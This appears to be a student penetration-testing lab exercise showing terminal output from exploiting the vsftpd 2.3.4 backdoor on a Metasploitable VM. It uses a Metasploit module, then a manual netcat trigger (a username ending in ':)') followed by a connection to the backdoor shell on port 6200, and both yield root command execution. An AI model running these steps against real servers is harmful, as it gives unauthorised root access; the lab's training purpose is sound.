Esercizio:

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check  Description
   -  ----                                  ---------------  ----       -----  -----------
   0  auxiliary/dos/ftp/vsftpd_232          2011-02-03       normal     Yes    VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.51.101
RHOST => 192.168.51.101
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:port[,type:host:port][ ... ]
   RHOSTS   192.168.51.101   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Exploit target:

   Id  Name
   --  ----
   0   Automatic


View the full module info with the info, or info -d command.
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.51.101:21 - The port used by the backdoor bind listener is already open
[+] 192.168.51.101:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.51.102:43743 → 192.168.51.101:6200) at 2024-09-23 14:22:00 +0200
```

```
root@metasploitable:/# ls
ls
bin    dev   initrd      lost+found  nohup.out  root  sys              usr
boot   etc   initrd.img  media       opt        sbin  test_metasploit  var
cdrom  home  lib         mnt         proc       srv   tmp              vmlinuz
root@metasploitable:/#
```

Bonus:

```
┌──(kali㉿kali)-[~]
└─$ nc 192.168.51.101 21
220 (vsFTPd 2.3.4)
USER utente:)
331 Please specify the password.
PASS kkkkkk
```

```
kali@kali: ~

File  Actions  Edit  View  Help

┌──(kali㉿kali)-[~]
└─$ nc 192.168.51.101 6200
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
```